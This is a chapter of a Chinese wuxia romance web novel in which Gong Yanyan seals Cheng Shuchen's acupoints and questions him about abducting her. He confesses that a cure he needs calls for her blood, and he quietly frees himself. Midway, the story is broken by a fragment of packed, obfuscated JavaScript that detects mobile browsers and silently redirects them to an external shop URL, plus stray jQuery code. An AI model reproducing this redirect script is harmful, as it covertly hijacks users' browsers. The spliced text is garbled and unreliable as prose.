91. 十二·两极反转
作品:《诡案现场别欺负我GB》 “好玩……”程梳尘有些不好意思,“的确好玩。当时与你待的时间虽短,我却感受到了许多生命的力量与活力,也有了换种法子生活的决心。可碧海仙君在淮扬待不了多久,我只好先把你送回万仞山山脚的村落,再去盯他。”
“先等一下,所以你这地方就是在万仞山附近,你今日所说的什么法阵、什么千里舟,都是假的,哄小孩子的?”宫晏晏道。
“是呀。”程梳尘撇嘴道,“可是小孩子今天却不信了。你当时可是很笃信呢,非说我就是仙人……”
宫晏晏咳嗽一声,道:“你不是被我感化了吗?可还是去跟踪碧海仙君了?”
“是。”程梳尘道,“但我不想杀他了,我只想看看,所谓的正道人士,所谓的仙人是怎样生活的?与魔教,又有什么不同?”
宫晏晏道:“那他的确是个大好人吗?”
“的确是。”程梳尘长叹道,“也正是跟了他,我才发现义父那些人究竟……有多坏。”
“不过那几日我始终忘了一件事。”他顿了顿,“忘了问你叫什么。”
“该说你聪明呢,还是不聪明呢。”宫晏晏叹道,“怪不得你总是在扬州晃悠,怪不得让我碰上了,若是天公不作美,你说不定再也找不到我了。可我为什么总记不清这些事?”
程梳尘道:“虽然没有千里舟那种妖法,可是魔教中人,要让一个小孩子记不清一些事情,还是很容易的。”
“我倒忽然想问你一件事。”她忽道,“那几日,你不会便对我倾心了吧?”
“怎么可能……”程梳尘急道,“那时候你才多大……”
“是吗?不过我倒不一样。虽然我的确记不清楚这些事了,可唯有一件事,我从来没忘过。”宫晏晏慢慢凑近程梳尘,黏到他耳边耳语道,“自你捡到我的第一天起,我就暗下决心,将来要一辈子压着你,让你永远陪我玩……”
程梳尘的脸唰地一下红透了,可就在这一瞬间,他已然呻吟一声,道:“你……”
宫晏晏竟已趁机闪电般出手,点住了他浑身穴道,赤血罗刹动不了了,赤血罗刹居然成了待宰的羔羊。
程梳尘浑身上下已唯有嘴巴能动,又惊又气又怒又羞,脱口道:“你……你暗算我。”
“你说我暗算你?想不到小孩还能暗算杀手呢。”宫晏晏笑道,“那边的书,不都是教人怎么暗算别人嘛?难道是我看错了?”
程梳尘道:“可恶……”
“注意你的态度。”宫晏晏坐到床上,晃着腿悠悠道,“不管怎么说,你总是绑架宫晏晏到这儿的凶手。纵使你是我老婆,我也得好好审审你。不过……我可能没有你方才那么温柔哦。”
程梳尘两眼水汪汪:“老宫……”
“装可怜、叫老公都没用。这是你的惯用伎俩,我脱敏了。”宫晏晏道,“说,你为什么取我的血?又是怎么把我迷晕,怎么把我带到这么一个地方的?”
程梳尘顿了顿,暂且没有开口。
“不说我也能猜到一二。”宫晏晏道,“当真奇怪,你绑我,居然好像是临时起意,匆忙极了。”
程梳尘忍不住道:“你是怎么推出来的?书?”
宫晏晏点了点头,道:“你心思这么缜密,若真是蓄谋已久,应该一点儿也不慌乱,怎会连书上的尘土都忘了拂去?难道说,你是昨天晚上才决定立时绑我的?为什么,总不会有人胁迫你吧?”
程梳尘也点了点头,道:“是有。”
宫晏晏道:“谁?我替你收拾他。”
程梳尘道:“是你。”
宫晏晏不禁道:“我?”
她仔细地回忆,那天晚上明明是她叫程梳尘来她房里的,程梳尘怎么可能预先想到此事?难道与他们当晚做的事情有关?可是她除了喂程梳尘喝了一碗药……
程梳尘打断道:“我什么都告诉你,不过,请你先打开门,将你那碟血,洒在门口花园的花上。”
“还是那些白花?难道真有什么白镜花?”宫晏晏已拿起那小碟。
“不,那也是哄小孩的。几个月之前,我改种红的了。”程梳尘小声道。
“又是哄小孩的……”宫晏晏无语,推门而出,只见一小丛红花在阳光下闪烁着妖冶的光,她扬手浇了上去,花的样貌竟似明显变了变。
程梳尘看着宫晏晏出门,缓了口气,老宫现在虽只是说审他,可如果只是审他,何必要点住他全身穴道?他不喜欢任人宰割的样子,尽管在宫晏晏面前例外。
方才,他的确被宫晏晏迷得七荤八素,的确被点中了穴道,可就在宫晏晏出手的那一刹那,他已下意识运了魔教的移穴法,是以穴虽点了,却未点透。
他只要冲穴两次,便可冲破,趁宫晏晏出门浇花,他已冲了第一次穴!
“等会儿。”宫晏晏又回来,道,“几个月之前?你面壁之后,来过扬州?那你为何不来找我?”
程梳尘道:“我那时候想先将药材找齐了,把病治好,才好跟你在一起。不过现在想来,我的确错了,幸好你在瓦筐追上了我。”
他叹了口气,道:“你是在我面壁的地方找到鬼医的药方的,是不是?”
宫晏晏猛然一震,掏出那药方,她早便发现这条子的形状很不规整,现在想来,是被人撕掉了一块儿?
程梳尘道:“我们虽一起见到鬼医,可你当时却没看那方子。我……我撕去了五个字。”
宫晏晏道:“哪五个字?”
程梳尘道:“宫晏晏之血。”
“什么?”宫晏晏变色道,“就因为我是什么玄阳之体?”
“咱们是凑巧碰到鬼医的。我当时也不很信他那方子,便未留意。”程梳尘道,“可后来你也知道,我的病越来越重了。面壁的时候,我遍寻古籍,发现了一事。”
宫晏晏道:“什么事?”
程梳尘道:“鬼医的法子,的确有道理。玄阳之血是极阳之物,可做药引。但所需之量极大,若从人身上取,则会……影响修为。我怎么可能从你身上取?幸好,面壁一年,我总算找到了一个替代品。”
宫晏晏道:“就是你要浇的花?”
“嗯。”程梳尘说出了真相,“这奇花叫玄阳花,只需几滴玄阳血灌溉,便可起到近似的疗效。你昨晚给我喝的药,少了最重要的药引。所以……虽能暂时压住大部分的症状,令我的武功大体恢复,却仍有一条病症完全治不了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972713|186446||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“有一条病症完全治不了?”宫晏晏打量着程梳尘,道,“不会是那条吧?”
“是……我喝了你的药,某个症状反而更严重了。”程梳尘的脸通红,咬牙道,“这倒也没什么。主要是……鬼医这些药,不少都有剧毒,若没玄阳血或玄阳花压制,我不日便将七窍流血而死!”
“怪不得。”宫晏晏关切道,“你别担心,是不是后来补上也行?我已将花浇过了,之后再给你喂下去,可以解毒吗?”
“可以。”程梳尘道,“需等片刻,再取花一束,捣碎即可。”
“呼。”宫晏晏也舒心了,自己竟差点儿把程梳尘毒死了,好在她果然很幸运,不好的事绝不会真的发生的,“其实你可以早跟我说呀,你总是不好意思,我怎么会因为你是魔教中人就不喜欢你?又怎么会不舍得将血借给你。我熬的药白费喽。”
“以后……”程梳尘的泪真的不受控制地流了下来,却没法擦,“全跟你说。”
宫晏晏把他的眼泪拭去,微笑道:“不过这一切都已经过去了,岂不是好事吗?”
“是啊。”程梳尘缓了缓,也微微笑了。
宫晏晏道:“我还有个问题,你是怎么把我迷晕,带到这儿的?阿青不是守在门口吗?”
程梳尘道:“那日南宫世家案结案后,鬼医给了我一些一品安神香。我用的量极小,对身体完全无害的!然后,我就把你连人带被子抱到这儿了。”
“你居然对我用这助眠的药!”宫晏晏斥道,“我的睡眠本就够好了。”
“不过这也妙极了。”她叹了口气,笑道,“你竟把我那包袱也带来了,不知道你是没看见还是看见了。既然你对我用了一个从南宫世家带出来的东西,我也对你用一样那里的器物,正好又扯平了。”
“什么?能对我用?还点我的穴……”程梳尘不禁想到宫晏晏与南宫铃交谈时的情形,脸红道,“你……你该不会令南宫铃做了那种机关……她怎么可能同意?”
“呃……”宫晏晏道,“我正人君子,可没有骗她啊,也没有直说,不过几次旁敲侧击,她为了你我二人的幸福,义不容辞,做了一个很可爱的小机关。现在想想,玉有关的东西都太凉,不合你的体质,之前买的那个,先不用咯。”
程梳尘忽然瞟了一眼他进来时挪到一旁的立镜。
“哟。”宫晏晏也顺着他的目光看过去,笑道,“好大的镜子,十年前,你在这儿练功的时候,难道常常孤芳自赏?”
“是。”程梳尘小声道,“等等,你不会想要把它挪回来,让我看着自己……”
“好主意。”宫晏晏摊手道,“你都不能动了,若是还看不到自己,会不会害怕?我还是把它搬过来,让你时时看着自己。”
程梳尘看着宫晏晏去搬镜子,心下有些少见的得意,老宫虽然比小宫成熟多了,可在老狐狸面前,果然还是有些小孩子脾性。就像十年前他勾她将附身符顺走一样,他一瞟镜子,便将她引了过去,这一背身,他又冲了一次穴!
穴道已解,程梳尘暂且不动声色,还是一动不动,想看看宫晏晏究竟会对他做什么。
……不过不知为何,他竟反而有些期待,身体似乎也完全不想动弹。

